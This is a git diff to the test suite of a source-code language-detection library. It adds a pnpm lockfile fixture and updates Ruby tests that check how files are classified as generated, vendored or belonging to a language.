similarity index 100%
rename from test/fixtures/Data/app.config
rename to test/fixtures/XML/app.config
diff --git a/test/fixtures/YAML/pnpm-lock.yaml b/test/fixtures/YAML/pnpm-lock.yaml
new file mode 100644
index 0000000000..c930a05d17
--- /dev/null
+++ b/test/fixtures/YAML/pnpm-lock.yaml
@@ -0,0 +1,100 @@
+lockfileVersion: '6.0'
+
+settings:
+  autoInstallPeers: true
+  excludeLinksFromLockfile: false
+
+devDependencies:
+  '@biomejs/biome':
+    specifier: ^1.5.3
+    version: 1.5.3
+
+packages:
+
+  /@biomejs/biome@1.5.3:
+    resolution: {integrity: sha512-yvZCa/g3akwTaAQ7PCwPWDCkZs3Qa5ONg/fgOUT9e6wAWsPftCjLQFPXBeGxPK30yZSSpgEmRCfpGTmVbUjGgg==}
+    engines: {node: '>=14.*'}
+    hasBin: true
+    requiresBuild: true
+    optionalDependencies:
+      '@biomejs/cli-darwin-arm64': 1.5.3
+      '@biomejs/cli-darwin-x64': 1.5.3
+      '@biomejs/cli-linux-arm64': 1.5.3
+      '@biomejs/cli-linux-arm64-musl': 1.5.3
+      '@biomejs/cli-linux-x64': 1.5.3
+      '@biomejs/cli-linux-x64-musl': 1.5.3
+      '@biomejs/cli-win32-arm64': 1.5.3
+      '@biomejs/cli-win32-x64': 1.5.3
+    dev: true
+
+  /@biomejs/cli-darwin-arm64@1.5.3:
+    resolution: {integrity: sha512-ImU7mh1HghEDyqNmxEZBoMPr8SxekkZuYcs+gynKlNW+TALQs7swkERiBLkG9NR0K1B3/2uVzlvYowXrmlW8hw==}
+    engines: {node: '>=14.*'}
+    cpu: [arm64]
+    os: [darwin]
+    requiresBuild: true
+    dev: true
+    optional: true
+
+  /@biomejs/cli-darwin-x64@1.5.3:
+    resolution: {integrity: sha512-vCdASqYnlpq/swErH7FD6nrFz0czFtK4k/iLgj0/+VmZVjineFPgevOb+Sr9vz0tk0GfdQO60bSpI74zU8M9Dw==}
+    engines: {node: '>=14.*'}
+    cpu: [x64]
+    os: [darwin]
+    requiresBuild: true
+    dev: true
+    optional: true
+
+  /@biomejs/cli-linux-arm64-musl@1.5.3:
+    resolution: {integrity: sha512-DYuMizUYUBYfS0IHGjDrOP1RGipqWfMGEvNEJ398zdtmCKLXaUvTimiox5dvx4X15mBK5M2m8wgWUgOP1giUpQ==}
+    engines: {node: '>=14.*'}
+    cpu: [arm64]
+    os: [linux]
+    requiresBuild: true
+    dev: true
+    optional: true
+
+  /@biomejs/cli-linux-arm64@1.5.3:
+    resolution: {integrity: sha512-cupBQv0sNF1OKqBfx7EDWMSsKwRrBUZfjXawT4s6hKV6ALq7p0QzWlxr/sDmbKMLOaLQtw2Qgu/77N9rm+f9Rg==}
+    engines: {node: '>=14.*'}
+    cpu: [arm64]
+    os: [linux]
+    requiresBuild: true
+    dev: true
+    optional: true
+
+  /@biomejs/cli-linux-x64-musl@1.5.3:
+    resolution: {integrity: sha512-UUHiAnlDqr2Y/LpvshBFhUYMWkl2/Jn+bi3U6jKuav0qWbbBKU/ByHgR4+NBxpKBYoCtWxhnmatfH1bpPIuZMw==}
+    engines: {node: '>=14.*'}
+    cpu: [x64]
+    os: [linux]
+    requiresBuild: true
+    dev: true
+    optional: true
+
+  /@biomejs/cli-linux-x64@1.5.3:
+    resolution: {integrity: sha512-YQrSArQvcv4FYsk7Q91Yv4uuu5F8hJyORVcv3zsjCLGkjIjx2RhjYLpTL733SNL7v33GmOlZY0eFR1ko38tuUw==}
+    engines: {node: '>=14.*'}
+    cpu: [x64]
+    os: [linux]
+    requiresBuild: true
+    dev: true
+    optional: true
+
+  /@biomejs/cli-win32-arm64@1.5.3:
+    resolution: {integrity: sha512-HxatYH7vf/kX9nrD+pDYuV2GI9GV8EFo6cfKkahAecTuZLPxryHx1WEfJthp5eNsE0+09STGkKIKjirP0ufaZA==}
+    engines: {node: '>=14.*'}
+    cpu: [arm64]
+    os: [win32]
+    requiresBuild: true
+    dev: true
+    optional: true
+
+  /@biomejs/cli-win32-x64@1.5.3:
+    resolution: {integrity: sha512-fMvbSouZEASU7mZH8SIJSANDm5OqsjgtVXlbUqxwed6BP7uuHRSs396Aqwh2+VoW8fwTpp6ybIUoC9FrzB0kyA==}
+    engines: {node: '>=14.*'}
+    cpu: [x64]
+    os: [win32]
+    requiresBuild: true
+    dev: true
+    optional: true
diff --git a/test/fixtures/go/food_vendor/candy.go b/test/fixtures/go/food_vendor/candy.go
new file mode 100644
index 0000000000..ce65385be7
--- /dev/null
+++ b/test/fixtures/go/food_vendor/candy.go
@@ -0,0 +1 @@
+// empty file for testing that paths with vendor in them don't get ingored
diff --git a/test/helper.rb b/test/helper.rb
index deb7ef5bc3..e01cf4c2dd 100644
--- a/test/helper.rb
+++ b/test/helper.rb
@@ -1,10 +1,10 @@
 require "bundler/setup"
 require "minitest/autorun"
-require "mocha/setup"
+require "mocha/minitest"
 require "linguist"
-require 'color-proximity'
 require "linguist/blob"
-require 'licensee'
+require "licensee"
+require "set"
 
 def fixtures_path
   File.expand_path("../fixtures", __FILE__)
@@ -17,7 +17,7 @@ def fixture_blob(name)
 
 def fixture_blob_memory(name)
   filepath = (name =~ /^\//)? name : File.join(fixtures_path, name)
-  content = File.read(filepath)
+  content = File.read(filepath, :encoding => "ASCII-8BIT")
   Linguist::Blob.new(name, content)
 end
 
@@ -32,6 +32,14 @@ def sample_blob(name)
 
 def sample_blob_memory(name)
   filepath = (name =~ /^\//)? name : File.join(samples_path, name)
-  content = File.read(filepath)
+  content = File.read(filepath, :encoding => "ASCII-8BIT")
   Linguist::Blob.new(name, content)
 end
+
+def silence_warnings
+  original_verbosity = $VERBOSE
+  $VERBOSE = nil
+  yield
+ensure
+  $VERBOSE = original_verbosity
+end
diff --git a/test/test_blob.rb b/test/test_blob.rb
index 3322cc41bb..fc69a86283 100644
--- a/test/test_blob.rb
+++ b/test/test_blob.rb
@@ -3,17 +3,6 @@
 class TestBlob < Minitest::Test
   include Linguist
 
-  def setup
-    # git blobs are normally loaded as ASCII-8BIT since they may contain data
-    # with arbitrary encoding not known ahead of time
-    @original_external = Encoding.default_external
-    Encoding.default_external = Encoding.find("ASCII-8BIT")
-  end
-
-  def teardown
-    Encoding.default_external = @original_external
-  end
-
   def script_blob(name)
     blob = sample_blob_memory(name)
     blob.instance_variable_set(:@name, 'script')
@@ -25,7 +14,7 @@ def test_name
   end
 
   def test_mime_type
-    assert_equal "application/postscript", fixture_blob_memory("Binary/octocat.ai").mime_type
+    assert_equal "application/pdf", fixture_blob_memory("Binary/octocat.ai").mime_type
     assert_equal "application/x-ruby", sample_blob_memory("Ruby/grit.rb").mime_type
     assert_equal "application/x-sh", sample_blob_memory("Shell/script.sh").mime_type
     assert_equal "text/plain", fixture_blob_memory("Data/README").mime_type
@@ -53,17 +42,9 @@ def test_data
   end
 
   def test_lines
-    assert_equal ["module Foo", "end", ""], sample_blob_memory("Ruby/foo.rb").lines
-    assert_equal ["line 1", "line 2", ""], sample_blob_memory("Text/mac.txt").lines
-    assert_equal 475, sample_blob_memory("Emacs Lisp/ess-julia.el").lines.length
-  end
-
-  def test_lines_maintains_original_encoding
-    # Even if the file's encoding is detected as something like UTF-16LE,
-    # earlier versions of the gem made implicit guarantees that the encoding of
-    # each `line` is in the same encoding as the file was originally read (in
-    # practice, UTF-8 or ASCII-8BIT)
-    assert_equal Encoding.default_external, fixture_blob_memory("Data/utf16le").lines.first.encoding
+    assert_equal ["module Foo", "end"], sample_blob_memory("Ruby/foo.rb").lines
+    assert_equal ["line 1", "line 2"], sample_blob_memory("Text/mac.txt").lines
+    assert_equal 474, sample_blob_memory("Emacs Lisp/ess-julia.el").lines.length
   end
 
   def test_size
@@ -71,13 +52,18 @@ def test_size
   end
 
   def test_loc
-    assert_equal 3, sample_blob_memory("Ruby/foo.rb").loc
+    assert_equal 2, sample_blob_memory("Ruby/foo.rb").loc
+    assert_equal 3, fixture_blob_memory("Data/utf16le-windows").loc
+    assert_equal 3, fixture_blob_memory("Data/utf16le").loc
+    assert_equal 1, fixture_blob_memory("Data/iso8859-8-i").loc
   end
 
   def test_sloc
     assert_equal 2, sample_blob_memory("Ruby/foo.rb").sloc
     assert_equal 3, fixture_blob_memory("Data/utf16le-windows").sloc
+    assert_equal 3, fixture_blob_memory("Data/utf16le").sloc
     assert_equal 1, fixture_blob_memory("Data/iso8859-8-i").sloc
+
   end
 
   def test_encoding
@@ -89,8 +75,8 @@ def test_encoding
     assert_equal "UTF-16LE", fixture_blob_memory("Data/utf16le").ruby_encoding
     assert_equal "UTF-16LE", fixture_blob_memory("Data/utf16le-windows").encoding
     assert_equal "UTF-16LE", fixture_blob_memory("Data/utf16le-windows").ruby_encoding
-    assert_equal "ISO-2022-KR", sample_blob_memory("Text/ISO-2022-KR.txt").encoding
-    assert_equal "binary", sample_blob_memory("Text/ISO-2022-KR.txt").ruby_encoding
+    assert_equal "ISO-2022-KR", fixture_blob_memory("Text/ISO-2022-KR.txt").encoding
+    assert_equal "binary", fixture_blob_memory("Text/ISO-2022-KR.txt").ruby_encoding
     assert_nil fixture_blob_memory("Binary/dog.o").encoding
   end
 
@@ -128,7 +114,7 @@ def test_image
 
   def test_solid
     assert fixture_blob_memory("Binary/cube.stl").solid?
-    assert fixture_blob_memory("Data/cube.stl").solid?
+    assert fixture_blob_memory("Generic/stl/STL/cube2.stl").solid?
   end
 
   def test_csv
@@ -150,6 +136,8 @@ def test_viewable
 
   def test_generated
     assert !fixture_blob_memory("Data/README").generated?
+    # Catch generated checks that don't return a boolean when they don't match
+    refute_nil fixture_blob_memory("Data/README").generated?
 
     # Generated .NET Docfiles
     assert sample_blob_memory("XML/net_docfile.xml").generated?
@@ -165,9 +153,28 @@ def test_generated
     assert sample_blob_memory("JavaScript/jquery-1.6.1.min.js").generated?
     assert sample_blob_memory("JavaScript/jquery-1.4.2.min.js").generated?
 
+    # Go lockfiles
+    assert sample_blob_memory("TOML/filenames/Gopkg.lock").generated?
+    assert sample_blob_memory("YAML/filenames/glide.lock").generated?
+
+    # Cargo generated Cargo.lock file
+    assert sample_blob_memory("TOML/filenames/Cargo.lock").generated?
+
     # Composer generated composer.lock file
     assert sample_blob_memory("JSON/filenames/composer.lock").generated?
 
+    # Nix generated flake.lock file
+    assert sample_blob_memory("JSON/filenames/flake.lock").generated?
+
+    # Bazel generated bzlmod lockfile
+    assert sample_blob_memory("JSON/filenames/MODULE.bazel.lock").generated?
+
+    # Deno generated deno.lock file
+    assert sample_blob_memory("JSON/filenames/deno.lock").generated?
+
+    # pnpm lockfile
+    assert fixture_blob_memory("YAML/pnpm-lock.yaml").generated?
+
     # PEG.js-generated parsers
     assert sample_blob_memory("JavaScript/parser.js").generated?
 
@@ -183,6 +190,9 @@ def test_generated
     assert sample_blob_memory("JavaScript/intro.js").generated?
     assert sample_blob_memory("JavaScript/classes.js").generated?
 
+    assert sample_blob_memory("JavaScript/ccalc-lex.js").generated?
+    assert sample_blob_memory("JavaScript/ccalc-parse.js").generated?
+
     # Protocol Buffer generated code
     assert sample_blob_memory("C++/protocol-buffer.pb.h").generated?
     assert sample_blob_memory("C++/protocol-buffer.pb.cc").generated?
@@ -190,6 +200,9 @@ def test_generated
     assert sample_blob_memory("Python/protocol_buffer_pb2.py").generated?
     assert sample_blob_memory("Go/api.pb.go").generated?
     assert sample_blob_memory("Go/embedded.go").generated?
+    assert sample_blob_memory("Go/oapi-codegen.go").generated?
+    assert sample_blob_memory("JavaScript/proto.js").generated?
+    assert sample_blob_memory("PHP/ProtobufGenerated.php").generated?
 
     # Apache Thrift generated code
     assert sample_blob_memory("Python/gen-py-linguist-thrift.py").generated?
@@ -198,6 +211,7 @@ def test_generated
     assert sample_blob_memory("JavaScript/gen-js-linguist-thrift.js").generated?
     assert sample_blob_memory("Ruby/gen-rb-linguist-thrift.rb").generated?
     assert sample_blob_memory("Objective-C/gen-cocoa-linguist-thrift.m").generated?
+    assert sample_blob_memory("PHP/ThriftGenerated.php").generated?
 
     # Generated JNI
     assert sample_blob_memory("C/jni_layer.h").generated?
@@ -212,6 +226,11 @@ def test_generated
     # Generated by Zephir
     assert !sample_blob_memory("Zephir/Router.zep").generated?
 
+    # Go vendored dependencies
+    refute sample_blob("vendor/vendor.json").generated?
+    assert sample_blob("vendor/github.com/kr/s3/sign.go").generated?
+    refute fixture_blob("go/food_vendor/candy.go").generated?
+
     # Cython-generated C/C++
     assert sample_blob_memory("C/sgd_fast.c").generated?
     assert sample_blob_memory("C++/wrapper_inner.cpp").generated?
@@ -221,24 +240,58 @@ def test_generated
 
     # Racc-generated Ruby
     assert sample_blob_memory("Ruby/racc.rb").generated?
+
+    # protobuf/grpc-plugin C++
+    assert sample_blob_memory("C++/hello.grpc.pb.h").generated?
+    assert sample_blob_memory("C++/grpc.pb.cc").generated?
+
+    # Generated HTML
+    assert sample_blob_memory("HTML/pkgdown.html").generated?
+    assert sample_blob_memory("HTML/pages.html").generated?
+    assert fixture_blob_memory("HTML/mandoc.html").generated?
+    assert fixture_blob_memory("HTML/node78.html").generated?
+
+    # Generated Pascal _TLB file
+    assert sample_blob_memory("Pascal/lazcomlib_1_0_tlb.pas").generated?
+
+    # Sorbet RBI generated by Tapioca
+    assert sample_blob_memory("Ruby/rails@7.0.3.1.rbi").generated?
+    assert sample_blob_memory("Ruby/rendering.rbi").generated?
+    assert sample_blob_memory("Ruby/actionmailer.rbi").generated?
+
+    # SQLx query files
+    assert fixture_blob_memory("Rust/.sqlx/query-2b8b1aae3740a05cb7179be9c7d5af30e8362c3cba0b07bc18fa32ff1a2232cc.json").generated?
   end
 
   def test_vendored
     assert !fixture_blob_memory("Data/README").vendored?
+
+    # Go fixtures
+    assert sample_blob("Go/testdata/foo.yml").vendored?
   end
 
   def test_language
+    allowed_failures = {
+      "#{samples_path}/C/rpc.h" => ["C", "C++"],
+    }
     Samples.each do |sample|
       blob = sample_blob_memory(sample[:path])
       assert blob.language, "No language for #{sample[:path]}"
-      assert_equal sample[:language], blob.language.name, blob.name
+      fs_name = blob.language.fs_name ? blob.language.fs_name : blob.language.name
+
+      if allowed_failures.has_key? sample[:path]
+        # Failures are reasonable when a file is fully valid in more than one language.
+        assert allowed_failures[sample[:path]].include?(sample[:language]), blob.name
+      else
+        assert_equal sample[:language], fs_name, blob.name
+      end
     end
 
     # Test language detection for files which shouldn't be used as samples
     root = File.expand_path('../fixtures', __FILE__)
     Dir.entries(root).each do |language|
       next if language == '.' || language == '..' || language == 'Binary' ||
-              File.basename(language) == 'ace_modes.json'
+        File.basename(language) == 'ace_modes.json'
 
       # Each directory contains test files of a language
       dirname = File.join(root, language)
@@ -253,9 +306,16 @@ def test_language
           assert blob.language.nil?, "A language was found for #{filepath}"
         elsif language == 'Generated'
           assert blob.generated?, "#{filepath} is not a generated file"
+        elsif language == 'Generic'
+          assert !blob.language, "#{filepath} should not match a language"
         else
-          assert blob.language, "No language for #{filepath}"
-          assert_equal language, blob.language.name, blob.name
+          fs_name = blob.language.fs_name ? blob.language.fs_name : blob.language.name
+          if allowed_failures.has_key? filepath
+            assert allowed_failures[filepath].include?(fs_name), filepath
+          else
+            assert blob.language, "No language for #{filepath}"
+            assert_equal language, fs_name, filepath
+          end
         end
       end
     end
@@ -288,6 +348,37 @@ def test_include_in_language_stats
     refute_predicate prose, :include_in_language_stats?
 
     included = sample_blob_memory("HTML/pages.html")
-    assert_predicate included, :include_in_language_stats?
+    refute_predicate included, :include_in_language_stats?
+
+    # Test detectable override (i.e by .gitattributes)
+
+    def prose.detectable?; true end
+    assert_predicate prose, :include_in_language_stats?
+
+    included_not_detectable = included.clone()
+    def included_not_detectable.detectable?; false end
+    refute_predicate included_not_detectable, :include_in_language_stats?
+
+    # Test not included if vendored, documentation or generated overridden
+    # even if detectable
+
+    included_vendored = included.clone()
+    def included_vendored.vendored?; true end
+    refute_predicate included_vendored, :include_in_language_stats?
+    def included_vendored.detectable?; true end
+    refute_predicate included_vendored, :include_in_language_stats?
+
+    included_documentation = included.clone()
+    def included_documentation.documentation?; true end
+    refute_predicate included_documentation, :include_in_language_stats?
+    def included_documentation.detectable?; true end
+    refute_predicate included_documentation, :include_in_language_stats?
+
+    included_generated = included.clone()
+    def included_generated.generated?; true end
+    refute_predicate included_generated, :include_in_language_stats?
+    def included_generated.detectable?; true end
+    refute_predicate included_generated, :include_in_language_stats?
+
   end
 end
diff --git a/test/test_classifier.rb b/test/test_classifier.rb
index 2ae2f45e12..ea3a5cdca1 100644
--- a/test/test_classifier.rb
+++ b/test/test_classifier.rb
@@ -12,6 +12,7 @@ def test_classify
     Classifier.train! db, "Ruby", fixture("Ruby/foo.rb")
     Classifier.train! db, "Objective-C", fixture("Objective-C/Foo.h")
     Classifier.train! db, "Objective-C", fixture("Objective-C/Foo.m")
+    Classifier.finalize_train! db
 
     results = Classifier.classify(db, fixture("Objective-C/hello.m"))
     assert_equal "Objective-C", results.first[0]
@@ -26,17 +27,18 @@ def test_restricted_classify
     Classifier.train! db, "Ruby", fixture("Ruby/foo.rb")
     Classifier.train! db, "Objective-C", fixture("Objective-C/Foo.h")
     Classifier.train! db, "Objective-C", fixture("Objective-C/Foo.m")
+    Classifier.finalize_train! db
 
     results = Classifier.classify(db, fixture("Objective-C/hello.m"), ["Objective-C"])
     assert_equal "Objective-C", results.first[0]
 
     results = Classifier.classify(db, fixture("Objective-C/hello.m"), ["Ruby"])
-    assert_equal "Ruby", results.first[0]
+    assert results.empty?
   end
 
   def test_instance_classify_empty
     results = Classifier.classify(Samples.cache, "")
-    assert results.first[1] < 0.5, results.first.inspect
+    assert results.empty?
   end
 
   def test_instance_classify_nil
@@ -44,13 +46,47 @@ def test_instance_classify_nil
   end
 
   def test_classify_ambiguous_languages
+    # Failures are reasonable in some cases, such as when a file is fully valid in more than one language.
+    allowed_failures = {
+      # Valid C and C++
+      "#{samples_path}/C/rpc.h" => ["C", "C++"],
+      # Tricky samples
+      "#{samples_path}/C/syscalldefs.h" => ["C", "C++"],
+      "#{samples_path}/C++/Types.h" => ["C", "C++"],
+    }
+
+    # Skip extensions with catch-all rule
+    skip_extensions = Set.new
+    Heuristics.all.each do |h|
+      rules = h.instance_variable_get(:@rules)
+      if rules[-1]['pattern'].is_a? AlwaysMatch
+        skip_extensions |= Set.new(h.extensions)
+      end
+    end
+
     Samples.each do |sample|
+      next if skip_extensions.include? sample[:extname]
+
       language  = Linguist::Language.find_by_name(sample[:language])
       languages = Language.find_by_filename(sample[:path]).map(&:name)
-      next unless languages.length > 1
+      next if languages.length == 1
+
+      languages = Language.find_by_extension(sample[:path]).map(&:name)
+      next if languages.length <= 1
 
       results = Classifier.classify(Samples.cache, File.read(sample[:path]), languages)
-      assert_equal language.name, results.first[0], "#{sample[:path]}\n#{results.inspect}"
+
+      if results.empty?
+        assert false, "no results for #{sample[:path]}"
+      elsif allowed_failures.has_key? sample[:path]
+        assert allowed_failures[sample[:path]].include?(results.first[0]), "#{sample[:path]}\n#{results.inspect}"
+      else
+        assert_equal language.name, results.first[0], "#{sample[:path]}\n#{results.inspect}"
+      end
     end
   end
+
+  def test_classify_empty_languages
+    assert_equal [], Classifier.classify(Samples.cache, fixture("Ruby/foo.rb"), [])
+  end
 end
diff --git a/test/test_color_proximity.rb b/test/test_color_proximity.rb
deleted file mode 100644
index 2356e74a7b..0000000000
--- a/test/test_color_proximity.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require_relative "./helper"
-
-class TestColorProximity < Minitest::Test
-  include Linguist
-
-  def cut_hash(color)
-    color[1..-1] if color.start_with?('#')
-  end
-
-  def test_color_proximity
-    langs_with_colors = Language.all.reject { |language| language.color.nil? }
-    cp = ColorProximity.new(0.05, langs_with_colors.map { |lang| cut_hash(lang.color) })
-    failing_threshold = langs_with_colors.map do |lang|
-      state = cp.past_threshold?(cut_hash(lang.color))
-      if !state.first && lang.color != "##{state.last.first}"
-        "- #{lang} (#{lang.color}) is too close to #{state.last}"
-      end
-    end.compact
-    message = "The following #{failing_threshold.length} languages have failing color thresholds. Please modify the hex color.\n#{failing_threshold.join("\n")}"
-
-    assert failing_threshold.empty?, message
-  end
-end
diff --git a/test/test_file_blob.rb b/test/test_file_blob.rb
index 82f3059caf..3ef5b5b674 100644
--- a/test/test_file_blob.rb
+++ b/test/test_file_blob.rb
@@ -3,15 +3,12 @@
 class TestFileBlob < Minitest::Test
   include Linguist
 
-  def setup
-    # git blobs are normally loaded as ASCII-8BIT since they may contain data
-    # with arbitrary encoding not known ahead of time
-    @original_external = Encoding.default_external
-    Encoding.default_external = Encoding.find("ASCII-8BIT")
-  end
-
-  def teardown
-    Encoding.default_external = @original_external
+  def silence_warnings
+    original_verbosity = $VERBOSE
+    $VERBOSE = nil
+    yield
+  ensure
+    $VERBOSE = original_verbosity
   end
 
   def script_blob(name)
@@ -31,12 +28,15 @@ def test_name
   end
 
   def test_mime_type
-    assert_equal "application/postscript", fixture_blob("Binary/octocat.ai").mime_type
+    assert_equal "application/pdf", fixture_blob("Binary/octocat.ai").mime_type
     assert_equal "application/x-ruby", sample_blob("Ruby/grit.rb").mime_type
     assert_equal "application/x-sh", sample_blob("Shell/script.sh").mime_type
     assert_equal "application/xml", sample_blob("XML/bar.xml").mime_type
     assert_equal "audio/ogg", fixture_blob("Binary/foo.ogg").mime_type
     assert_equal "text/plain", fixture_blob("Data/README").mime_type
+    # GitHub doesn't use a filename when returning raw blobs
+    blob = Struct.new(:name) { include Linguist::BlobHelper }
+    assert_equal "text/plain", blob.new(nil).mime_type
   end
 
   def test_content_type
@@ -62,17 +62,9 @@ def test_data
   end
 
   def test_lines
-    assert_equal ["module Foo", "end", ""], sample_blob("Ruby/foo.rb").lines
-    assert_equal ["line 1", "line 2", ""], sample_blob("Text/mac.txt").lines
-    assert_equal 475, sample_blob("Emacs Lisp/ess-julia.el").lines.length
-  end
-
-  def test_lines_maintains_original_encoding
-    # Even if the file's encoding is detected as something like UTF-16LE,
-    # earlier versions of the gem made implicit guarantees that the encoding of
-    # each `line` is in the same encoding as the file was originally read (in
-    # practice, UTF-8 or ASCII-8BIT)
-    assert_equal Encoding.default_external, fixture_blob("Data/utf16le").lines.first.encoding
+    assert_equal ["module Foo", "end"], sample_blob("Ruby/foo.rb").lines
+    assert_equal ["line 1", "line 2"], sample_blob("Text/mac.txt").lines
+    assert_equal 474, sample_blob("Emacs Lisp/ess-julia.el").lines.length
   end
 
   def test_size
@@ -80,7 +72,7 @@ def test_size
   end
 
   def test_loc
-    assert_equal 3, sample_blob("Ruby/foo.rb").loc
+    assert_equal 2, sample_blob("Ruby/foo.rb").loc
   end
 
   def test_sloc
@@ -98,8 +90,8 @@ def test_encoding
     assert_equal "UTF-16LE", fixture_blob("Data/utf16le").ruby_encoding
     assert_equal "UTF-16LE", fixture_blob("Data/utf16le-windows").encoding
     assert_equal "UTF-16LE", fixture_blob("Data/utf16le-windows").ruby_encoding
-    assert_equal "ISO-2022-KR", sample_blob("Text/ISO-2022-KR.txt").encoding
-    assert_equal "binary", sample_blob("Text/ISO-2022-KR.txt").ruby_encoding
+    assert_equal "ISO-2022-KR", fixture_blob("Text/ISO-2022-KR.txt").encoding
+    assert_equal "binary", fixture_blob("Text/ISO-2022-KR.txt").ruby_encoding
     assert_nil fixture_blob("Binary/dog.o").encoding
   end
 
@@ -148,7 +140,7 @@ def test_image
 
   def test_solid
     assert fixture_blob("Binary/cube.stl").solid?
-    assert fixture_blob("Data/cube.stl").solid?
+    assert fixture_blob("Generic/stl/STL/cube2.stl").solid?
   end
 
   def test_csv
@@ -176,6 +168,17 @@ def test_generated
     assert fixture_blob("Binary/MainMenu.nib").generated?
     assert !sample_blob("XML/project.pbxproj").generated?
 
+    # Cocoapods
+    assert sample_blob('Pods/blah').generated?
+    assert !sample_blob('My-Pods/blah').generated?
+
+    # Carthage
+    assert sample_blob('Carthage/Build/blah').generated?
+    assert !sample_blob('Carthage/blah').generated?
+    assert !sample_blob('Carthage/Checkout/blah').generated?
+    assert !sample_blob('My-Carthage/Build/blah').generated?
+    assert !sample_blob('My-Carthage/Build/blah').generated?
+
     # Gemfile.lock is NOT generated
     assert !sample_blob("Gemfile.lock").generated?
 
@@ -224,6 +227,7 @@ def test_generated
     assert sample_blob("Python/protocol_buffer_pb2.py").generated?
     assert sample_blob("Go/api.pb.go").generated?
     assert sample_blob("Go/embedded.go").generated?
+    assert sample_blob("Go/oapi-codegen.go").generated?
 
     # Apache Thrift generated code
     assert sample_blob("Python/gen-py-linguist-thrift.py").generated?
@@ -282,6 +286,8 @@ def test_vendored
     assert !sample_blob("Godeps/Godeps.json").vendored?
     assert sample_blob("Godeps/_workspace/src/github.com/kr/s3/sign.go").vendored?
 
+    assert sample_blob(".indent.pro").vendored?
+
     # Rails vendor/
     assert sample_blob("vendor/plugins/will_paginate/lib/will_paginate.rb").vendored?
 
@@ -294,18 +300,18 @@ def test_vendored
     # 'extern(al)' directory
     assert sample_blob("extern/util/__init__.py").vendored?
     assert sample_blob("external/jquery.min.js").vendored?
+    assert sample_blob("externals/fmt/CMakeLists.txt").vendored?
+    assert sample_blob("External/imgui/imgui.h").vendored?
 
     # C deps
     assert sample_blob("deps/http_parser/http_parser.c").vendored?
     assert sample_blob("deps/v8/src/v8.h").vendored?
 
-    assert sample_blob("tools/something/else.c").vendored?
-
     # Chart.js
     assert sample_blob("some/vendored/path/Chart.js").vendored?
     assert !sample_blob("some/vendored/path/chart.js").vendored?
 
-    # Codemirror deps
+    # CodeMirror deps
     assert sample_blob("codemirror/mode/blah.js").vendored?
     assert sample_blob("codemirror/5.0/mode/blah.js").vendored?
 
@@ -390,6 +396,10 @@ def test_vendored
     assert sample_blob("leaflet-plugins/leaflet.draw-src.js").vendored?
     assert sample_blob("leaflet-plugins/leaflet.spin.js").vendored?
 
+    # VSCode
+    assert sample_blob(".vscode/settings.json").vendored?
+    assert !sample_blob("testing.vscode-testing").vendored?
+
     # MooTools
     assert sample_blob("public/javascripts/mootools-core-1.3.2-full-compat.js").vendored?
     assert sample_blob("public/javascripts/mootools-core-1.3.2-full-compat-yc.js").vendored?
@@ -476,9 +486,9 @@ def test_vendored
 
     # Carthage
     assert sample_blob('Carthage/blah').vendored?
-
-    # Cocoapods
-    assert sample_blob('Pods/blah').vendored?
+    assert sample_blob('iOS/Carthage/blah').vendored?
+    assert !sample_blob('My-Carthage/blah').vendored?
+    assert !sample_blob('iOS/My-Carthage/blah').vendored?
 
     # Html5shiv
     assert sample_blob("Scripts/html5shiv.js").vendored?
@@ -511,6 +521,18 @@ def test_vendored
     assert sample_blob("subproject/gradlew.bat").vendored?
     assert sample_blob("subproject/gradle/wrapper/gradle-wrapper.properties").vendored?
 
+    # Maven
+    assert sample_blob("mvnw").vendored?
+    assert sample_blob("mvnw.cmd").vendored?
+    assert sample_blob(".mvn/wrapper/maven-wrapper.properties").vendored?
+    assert sample_blob("subproject/mvnw").vendored?
+    assert sample_blob("subproject/mvnw.cmd").vendored?
+    assert sample_blob("subproject/.mvn/wrapper/maven-wrapper.properties").vendored?
+
+    # .DS_Store
+    assert sample_blob(".DS_Store").vendored?
+    assert sample_blob("another-dir/.DS_Store").vendored?
+
     # Octicons
     assert sample_blob("octicons.css").vendored?
     assert sample_blob("public/octicons.min.css").vendored?
@@ -529,6 +551,10 @@ def test_vendored
     assert sample_blob("docs/_build/asset.doc").vendored?
     assert sample_blob("docs/theme/file.css").vendored?
 
+    # ProGuard
+    assert sample_blob("proguard.pro").vendored?
+    assert sample_blob("proguard-rules.pro").vendored?
+
     # Vagrant
     assert sample_blob("puphpet/file.pp").vendored?
 
@@ -543,6 +569,31 @@ def test_vendored
 
     # Jenkins
     assert sample_blob("Jenkinsfile").vendored?
+
+    # Bootstrap
+    assert !sample_blob("src/bootstraps/settings.js").vendored?
+    assert !sample_blob("bootstrap/misc/other/reset.css").vendored?
+    assert sample_blob("bootstrap-1.4/misc/other/reset.css").vendored?
+    assert sample_blob("bootstrap.10.4/misc/other/reset.css").vendored?
+    assert sample_blob("src/bootstrap-5.4.1-beta-dist/js/bundle.js").vendored?
+    assert sample_blob("src/bootstrap-custom.js").vendored?
+    assert sample_blob("src/bootstrap-1.4.js").vendored?
+    assert sample_blob("src/bootstrap-5.4.1-beta-dist/js/bootstrap.bundle.js").vendored?
+    assert sample_blob("src/bootstrap-5.4.1-beta-dist/js/bootstrap.esm.js").vendored?
+    assert sample_blob("src/bootstrap-5.4.1-beta-dist/css/bootstrap.rtl.css").vendored?
+
+    # GitHub.com
+    assert sample_blob(".github/CODEOWNERS").vendored?
+    assert sample_blob(".github/workflows/test.yml").vendored?
+
+    # obsidian.md settings
+    assert sample_blob(".obsidian/app.json").vendored?
+    assert sample_blob(".obsidian/plugins/templater-obsidian/main.js").vendored?
+
+    # teamcity ci configuration
+    assert sample_blob(".teamcity/Project_Name_CI/Project.kt").vendored?
+    assert sample_blob(".teamcity/Project_Name_CI/settings.kts").vendored?
+    assert sample_blob(".teamcity/Project_Name_CI/patches/projects/3b71d400-c5d6-4628-8164-c50b1254cf1d.kts").vendored?
   end
 
   def test_documentation
@@ -617,10 +668,20 @@ def test_documentation
   end
 
   def test_language
+    # Failures are reasonable in some cases, such as when a file is fully valid in more than one language.
+    allowed_failures = {
+      "#{samples_path}/C/rpc.h" => ["C", "C++"],
+    }
     Samples.each do |sample|
       blob = sample_blob(sample[:path])
       assert blob.language, "No language for #{sample[:path]}"
-      assert_equal sample[:language], blob.language.name, blob.name
+      fs_name = blob.language.fs_name ? blob.language.fs_name : blob.language.name
+
+      if allowed_failures.has_key? sample[:path]
+        assert allowed_failures[sample[:path]].include?(sample[:language]), blob.name
+      else
+        assert_equal sample[:language], fs_name, blob.name
+      end
     end
 
